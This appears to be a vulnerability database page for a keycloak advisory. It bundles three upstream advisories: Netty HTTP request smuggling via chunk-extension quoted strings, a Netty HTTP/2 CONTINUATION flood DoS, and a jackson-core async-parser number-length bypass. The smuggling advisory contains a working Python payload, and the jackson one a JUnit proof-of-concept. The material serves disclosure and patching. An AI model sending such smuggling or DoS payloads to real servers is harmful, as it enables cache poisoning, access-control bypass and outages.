Vulnerability from cleanstart
Published
2026-04-21 00:36
Modified
2026-04-20 07:28
Summary
Security fixes for ghsa-72hv-8253-57qq, ghsa-pwqr-wmgm-9rr8, ghsa-w9fj-cfpg-grvv applied in versions: 26.5.6-r3
Details
Multiple security vulnerabilities affect the keycloak package. These issues are resolved in later releases. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "keycloak"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.5.6-r3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the keycloak package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-AD31975",
"modified": "2026-04-20T07:28:24Z",
"published": "2026-04-21T00:36:59.139031Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-AD31975.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pwqr-wmgm-9rr8"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w9fj-cfpg-grvv"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for ghsa-72hv-8253-57qq, ghsa-pwqr-wmgm-9rr8, ghsa-w9fj-cfpg-grvv applied in versions: 26.5.6-r3",
"upstream": [
"ghsa-72hv-8253-57qq",
"ghsa-pwqr-wmgm-9rr8",
"ghsa-w9fj-cfpg-grvv"
]
}
GHSA-PWQR-WMGM-9RR8
Vulnerability from github – Published: 2026-03-26 18:48 – Updated: 2026-03-27 21:49
VLAI?
Summary
Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
Details
Summary
Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:
The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.
Technical Details
RFC 9110 Section 7.1.1 defines chunked transfer encoding:
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
RFC 9110 Section 5.6.4 defines quoted-string:
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
Critically, the allowed character ranges within a quoted-string are:
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )
CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).
Vulnerability
Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.
Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.
Actual behavior (Netty):
Chunk: 1;a="value
^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request
The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.
Proof of Concept
#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.
Parsing Breakdown
| Parser | Request 1 | Request 2 |
|---|---|---|
| Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) |
| RFC-compliant parser | 400 Bad Request | (none — malformed request rejected) |
Impact
- Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
- Cache Poisoning: Smuggled responses may poison shared caches.
- Access Control Bypass: Smuggled requests can circumvent frontend security controls.
- Session Hijacking: Smuggled requests may intercept responses intended for other users.
Reproduction
- Start the minimal proof-of-concept environment using the provided Docker configuration.
- Execute the proof-of-concept script included in the attached archive.
Suggested Fix
The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:
1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
a. For each byte before the terminating CRLF:
- If CR (%x0D) or LF (%x0A) is encountered outside the
final terminating CRLF, reject the request with 400 Bad Request.
b. If the extension value begins with DQUOTE, validate that all
enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
outside any quoted-string context and contains no preceding
illegal bytes.
Acknowledgments
Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.
Resources
Attachments
Severity ?
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.132.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.10.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33870"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:48:55Z",
"nvd_published_at": "2026-03-27T20:16:34Z",
"severity": "HIGH"
},
"details": "## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- \u003chttps://w4ke.info/2025/06/18/funky-chunks.html\u003e\n- \u003chttps://w4ke.info/2025/10/29/funky-chunks-2.html\u003e\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions\u2014whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n b\"POST / HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Transfer-Encoding: chunked\\r\\n\"\n b\"\\r\\n\"\n b\u00271;a=\"\\r\\n\u0027\n b\"X\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n b\"GET /smuggled HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Content-Length: 11\\r\\n\"\n b\"\\r\\n\"\n b\u0027\"\\r\\n\u0027\n b\"Y\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n try:\n chunk = sock.recv(4096)\n if not chunk:\n break\n response += chunk\n except socket.timeout:\n break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED) |\n| RFC-compliant parser | 400 Bad Request | (none \u2014 malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If \u0027;\u0027 is encountered, begin parsing extensions:\n a. For each byte before the terminating CRLF:\n - If CR (%x0D) or LF (%x0A) is encountered outside the\n final terminating CRLF, reject the request with 400 Bad Request.\n b. If the extension value begins with DQUOTE, validate that all\n enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n outside any quoted-string context and contains no preceding\n illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)",
"id": "GHSA-pwqr-wmgm-9rr8",
"modified": "2026-03-27T21:49:43Z",
"published": "2026-03-26T18:48:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/10/29/funky-chunks-2.html"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc9110"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}
GHSA-W9FJ-CFPG-GRVV
Vulnerability from github – Published: 2026-03-26 18:49 – Updated: 2026-03-27 21:48
VLAI?
Summary
Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass
Details
Summary
A remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of CONTINUATION frames. The server's lack of a limit on the number of CONTINUATION frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.
Details
The vulnerability exists in Netty's DefaultHttp2FrameReader. When an HTTP/2 HEADERS frame is received without the END_HEADERS flag, the server expects one or more subsequent CONTINUATION frames. However, the implementation does not enforce a limit on the count of these CONTINUATION frames.
The key issue is located in codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java. The verifyContinuationFrame() method checks for stream association but fails to implement a frame count limit.
Any user can exploit this by sending a stream of CONTINUATION frames with a zero-byte payload. While Netty has a maxHeaderListSize protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to maxHeaderListSize - 0 < currentSize, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.
codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java
verifyContinuationFrame() (lines 381-393) — No frame count check:
private void verifyContinuationFrame() throws Http2Exception {
verifyAssociatedWithAStream();
if (headersContinuation == null) {
throw connectionError(PROTOCOL_ERROR, "...");
}
if (streamId != headersContinuation.getStreamId()) {
throw connectionError(PROTOCOL_ERROR, "...");
}
// NO frame count limit!
}
HeadersBlockBuilder.addFragment() (lines 695-723) — Byte limit bypassed by 0-byte frames:
// Line 710-711: This check NEVER fires when len=0
if (headersDecoder.configuration().maxHeaderListSizeGoAway() - len <
headerBlock.readableBytes()) {
headerSizeExceeded(); // 10240 - 0 < 1 => FALSE always
}
When len=0: maxGoAway - 0 < readableBytes → 10240 < 1 → FALSE. The byte limit is never triggered.
Impact
This is a CPU-based Denial of Service (DoS). Any service using Netty's default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.132.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 4.2.10.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.11.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33871"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:49:21Z",
"nvd_published_at": "2026-03-27T20:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\nA remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server\u0027s lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.\n\n### Details\nThe vulnerability exists in Netty\u0027s `DefaultHttp2FrameReader`. When an HTTP/2 `HEADERS` frame is received without the `END_HEADERS` flag, the server expects one or more subsequent `CONTINUATION` frames. However, the implementation does not enforce a limit on the *count* of these `CONTINUATION` frames.\n\nThe key issue is located in `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`. The `verifyContinuationFrame()` method checks for stream association but fails to implement a frame count limit.\n\nAny user can exploit this by sending a stream of `CONTINUATION` frames with a zero-byte payload. While Netty has a `maxHeaderListSize` protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to `maxHeaderListSize - 0 \u003c currentSize`, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.\n\n`codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`\n\n**`verifyContinuationFrame()` (lines 381-393)** \u2014 No frame count check:\n```java\nprivate void verifyContinuationFrame() throws Http2Exception {\n verifyAssociatedWithAStream();\n if (headersContinuation == null) {\n throw connectionError(PROTOCOL_ERROR, \"...\");\n }\n if (streamId != headersContinuation.getStreamId()) {\n throw connectionError(PROTOCOL_ERROR, \"...\");\n }\n // NO frame count limit!\n}\n```\n\n**`HeadersBlockBuilder.addFragment()` (lines 695-723)** \u2014 Byte limit bypassed by 0-byte frames:\n```java\n// Line 710-711: This check NEVER fires when len=0\nif (headersDecoder.configuration().maxHeaderListSizeGoAway() - len \u003c\n headerBlock.readableBytes()) {\n headerSizeExceeded(); // 10240 - 0 \u003c 1 =\u003e FALSE always\n}\n```\n\nWhen `len=0`: `maxGoAway - 0 \u003c readableBytes` \u2192 `10240 \u003c 1` \u2192 FALSE. The byte limit is never triggered.\n\n### Impact\nThis is a CPU-based Denial of Service (DoS). Any service using Netty\u0027s default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.",
"id": "GHSA-w9fj-cfpg-grvv",
"modified": "2026-03-27T21:48:53Z",
"published": "2026-03-26T18:49:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass"
}
GHSA-72HV-8253-57QQ
Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-04-07 16:30
VLAI?
Summary
jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Details
Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into theTextBufferwithout any length checks. - After parsing, they call
_valueComplete(), which finalizes the token but does not callresetInt()orresetFloat(). - The
resetInt()/resetFloat()methods inParserBaseare where thevalidateIntegerLength()andvalidateFPLength()checks are performed. - Because this validation step is skipped, the
maxNumberLengthconstraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.18.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:01:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n private static final int MAX_NUMBER_LENGTH = 1000;\n private static final int TEST_NUMBER_LENGTH = 5000;\n\n private final JsonFactory factory = new JsonFactory();\n\n // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n @Test\n void syncParserRejectsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n try {\n try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n }\n }\n }\n fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n } catch (StreamConstraintsException e) {\n System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n }\n }\n\n // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n @Test\n void asyncParserAcceptsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n NonBlockingByteArrayJsonParser p =\n (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n p.feedInput(payload, 0, payload.length);\n p.endOfInput();\n\n boolean foundNumber = false;\n try {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n foundNumber = true;\n String numberText = p.getText();\n assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n }\n }\n // Output to console\n System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n } catch (StreamConstraintsException e) {\n fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n }\n p.close();\n }\n\n private byte[] buildPayloadWithLongInteger(int numDigits) {\n StringBuilder sb = new StringBuilder(numDigits + 10);\n sb.append(\"{\\\"v\\\":\");\n for (int i = 0; i \u003c numDigits; i++) {\n sb.append((char) (\u00271\u0027 + (i % 9)));\n }\n sb.append(\u0027}\u0027);\n return sb.toString().getBytes(StandardCharsets.UTF_8);\n }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
"id": "GHSA-72hv-8253-57qq",
"modified": "2026-04-07T16:30:17Z",
"published": "2026-02-28T02:01:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1555"
},
{
"type": "WEB",
